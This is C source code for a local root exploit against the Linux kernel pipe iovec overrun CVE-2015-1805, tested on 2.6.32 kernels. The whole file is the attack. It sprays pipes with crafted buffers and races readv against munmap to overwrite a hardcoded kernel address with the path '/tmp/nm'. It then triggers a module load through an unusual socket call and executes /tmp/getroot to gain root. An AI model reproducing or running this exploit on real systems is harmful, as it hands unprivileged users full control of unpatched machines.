/* * cve-2015-1805 pipe_read / pipe_write iovec overrun * * 0: * atomic = !0, pipe_iov_copy_to_user faild, then `redo` * 1: * atomic = 0, pipe_iov_copy_to_user success, use copy_to_user * the left chars iovecs' address must be userspace address * 2: * bufs->len = !0, then `more to do` * atomic = !0, pipe_iov_copy_to_user success, overrun * * test on 2.6.32-xxx */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PAGE_SIZE 4096 #define IOV_CNT 0x100 #define NR_WORK_THREAD 2 struct iovec iov[IOV_CNT]; /* * this should be dynamic value, we should test how many files we could open * on this system */ #define SPRAY_PIPES 0x100 static unsigned long spray_pipes = SPRAY_PIPES; int spray_pipes_fd_def[SPRAY_PIPES][2]; pthread_t spray_pipes_write_def[SPRAY_PIPES]; int (*spray_pipes_fd)[2] = spray_pipes_fd_def; pthread_t *spray_pipes_write = spray_pipes_write_def; static char newmod_path[] = "/tmp/nm"; unsigned long target_addr = 0xffffffff81aa40e0; unsigned long target_value = 0; unsigned long target_len = 0x8; int target_fd[2]; pthread_t munmap_thread; pthread_t write_thread[NR_WORK_THREAD]; pthread_t readv_thread[NR_WORK_THREAD]; unsigned long stop_send = 0; unsigned long stop_send_len = 0x8; int init_target_pipe(void) { return pipe(target_fd); } int init_iov(void) { int err = 0; int i = 0; for (i = 0; i < IOV_CNT; i++) { iov[i].iov_base = (void *)(0x40000000UL + i * 0x1000); iov[i].iov_base = mmap(iov[i].iov_base, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED, -1, 0); if (iov[i].iov_base == MAP_FAILED) { err = -1; break; } switch (i) { case 0: iov[i].iov_len = 0; break; case 1: iov[i].iov_len = 0x10; break; case 2: iov[i].iov_len = 0x30; break; default: iov[i].iov_len = 0x10; } } if (err) { for (; i >= 0; i--) munmap(iov[i].iov_base, PAGE_SIZE); } return err; } int init_spray_pipes(void) { int i = 0; int err = 0; for (i = 0; i < spray_pipes; i++) { err = pipe(spray_pipes_fd[i]); if (err == -1) return -1; } return 0; } void *race_readv(void *arg) { while (1) { readv(target_fd[0], iov, IOV_CNT); usleep(10); if (stop_send) break; } return (void *)0; } void *write_target_pipe(void *arg) { unsigned long buf[2]; buf[0] = target_value ? target_value : 1; buf[1] = target_value; while (1) { write(target_fd[1], (char *)buf, 0x10); if (stop_send) break; } return (void *)arg; } void *race_munmap(void *arg) { while (1) { munmap(iov[2].iov_base, PAGE_SIZE); mmap(iov[2].iov_base, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); if (stop_send) break; } return (void *)0; } void *spray_write(void *arg) { unsigned long nr_pipe = (unsigned long)arg; unsigned long buf[4]; buf[0] = (unsigned long)&stop_send; buf[1] = stop_send_len; buf[2] = target_addr; buf[3] = target_len; int i = 0; for (i = 0; i < 0x800; i++) write(spray_pipes_fd[nr_pipe][1], (char *)buf, 0x20); return (void *)0; } void set_target_addr_value(unsigned long addr, unsigned long value) { target_addr = addr; target_value = value; } int write_addr_value(unsigned long addr, unsigned long value) { if (addr) set_target_addr_value(addr, value); int err; err = init_target_pipe(); if (err == -1) { fprintf(stderr, "init_target_pipe err\n"); return -1; } err = init_iov(); if (err == -1) { fprintf(stderr, "init_iov err\n"); return -1; } err = init_spray_pipes(); if (err == -1) { fprintf(stderr, "init_spray_pipes err\n"); return -1; } int i = 0; for (i = 0; i < spray_pipes; i++) pthread_create(&spray_pipes_write[i],NULL,spray_write, (void *)(unsigned long)i); for (i = 0; i < spray_pipes; i++) pthread_join(spray_pipes_write[i], NULL); char buf[PAGE_SIZE]; for (i = 0; i < spray_pipes; i++) read(spray_pipes_fd[i][0], buf, PAGE_SIZE); printf("spray done...\n"); for (i = 0; i < NR_WORK_THREAD; i++) pthread_create(&write_thread[i], NULL, write_target_pipe, NULL); pthread_create(&munmap_thread, NULL, race_munmap, NULL); for (i = 0; i < NR_WORK_THREAD; i++) pthread_create(&readv_thread[i], NULL, race_readv, NULL); pthread_join(munmap_thread, NULL); for (i = 0; i < NR_WORK_THREAD; i++) { pthread_join(write_thread[i], NULL); pthread_join(readv_thread[i], NULL); } printf("stop_send: %lx\n", stop_send); return 0; } int main(int argc, char *argv[]) { struct rlimit rlim; int err; unsigned long file_max = 0; err = getrlimit(RLIMIT_NOFILE, &rlim); if (err == -1) { fprintf(stderr, "getrlimit err: %s\n", strerror(errno)); } else { file_max = rlim.rlim_cur; err = 0; while (err == 0) { file_max += 0x100; rlim.rlim_cur = file_max; err = setrlimit(RLIMIT_NOFILE, &rlim); } } file_max = file_max - 0x100; if (file_max >= 0x400) { spray_pipes = (file_max - 0x100) / 2; } else if (file_max >= 0x100) { spray_pipes = (file_max - 0x80) / 2; } else { spray_pipes = (file_max - 0x10) / 2; } int (*buf0)[2] = malloc(sizeof(int)*2*spray_pipes); pthread_t *buf1 = malloc(sizeof(pthread_t)*spray_pipes); if ((!buf0) || (!buf1)) fprintf(stderr, "malloc err\n"); else { spray_pipes_fd = buf0; spray_pipes_write = buf1; } printf("spray_pipes: 0x%lx\n", spray_pipes); target_value = *(unsigned long *)newmod_path; err = write_addr_value(0, 0); if (err == -1) { fprintf(stderr, "race failed, may not reach here\n"); return -1; } printf("race done, we are lucky\n"); socket(AF_INET, SOCK_DGRAM, 33); execl("/tmp/getroot", "/tmp/getroot", NULL); return 0; }